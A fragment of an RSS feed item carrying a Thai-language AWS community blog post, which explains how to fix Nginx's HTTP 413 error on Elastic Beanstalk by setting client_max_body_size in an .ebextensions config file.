      <dc:creator>Narongrit Int.</dc:creator>
      <pubDate>Tue, 14 Sep 2021 12:37:06 +0000</pubDate>
      <link>https://forem.com/awscommunity-asean/413-request-entity-too-large-1l14</link>
      <guid>https://forem.com/awscommunity-asean/413-request-entity-too-large-1l14</guid>
      <description>&lt;p&gt;ด้วยความที่ component stack ใน AWS Beanstalk หลายๆ ตัวมีการปรับเปลี่ยนจากที่เคยใช้ Apache เป็น Web server หรือ Web proxy ไปเป็น Nginx web server เป็นค่าปริยาย (Default configuration) แทน &lt;/p&gt;

&lt;p&gt;ซึ่งจากการปรับเปลี่ยนนี้ อาจส่งผลให้ developer หลายๆ คน เจอปัญหาปวดเฮดอยู่ไม่น้อย ในกรณีที่ต้องการ upload file เวลา submit web form ถ้าขนาดไฟล์ใหญ่ ไซส์โตๆ จะตี error code เป็น &lt;strong&gt;HTTP 413 Request Entity Too Large!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;เหตุผลเพราะ Nginx นั้น จะกำหนดค่าเริ่มต้น ให้ไฟล์ที่มีขนาดใหญ่สุดที่ upload ได้อยู่ที่ 1MB เท่านั้น เอาซี้!!!&lt;/p&gt;

&lt;p&gt;วิธีแก้ของ Nginx นั้นไม่ยาก เพียงแค่เพิ่ม client_max_body_size ในไฟล์ nginx.conf เพื่อ override ค่า default ก็เป็นอันใช้ได้ อยากได้มากน้อยเท่าไหร่ ก็จัดไป&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;client_max_body_size 100M;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;แต่พอเป็น AWS Beanstalk อาจจะต้องออกแรงนิดหน่อย โดยเพิ่มโฟลเดอร์ .ebextensions/nginx/conf.d/ ใน Project และสร้าง config ไฟล์&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight diff"&gt;&lt;code&gt;&lt;span class="err"&gt;~/workspace/my-app/&lt;/span&gt;
     |-- .ebextensions
         | -- nginx
              | -- conf.d
&lt;span class="gi"&gt;+                   | -- myconf.conf
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;จากนั้น repackage project folder ให้เรียบร้อยแล้ว upload package ใน AWS Beanstalk หรือถ้าใครถนัดใช้ eb deploy ก็ไม่ว่ากัน ถ้าไม่ติด error อะไรตอน deploy ก็เป็นอันใช้ได้&lt;/p&gt;

</description>
      <category>awsthai</category>
      <category>beanstalk</category>
      <category>nginx</category>
      <category>http413</category>
    </item>
  </channel>
</rss>
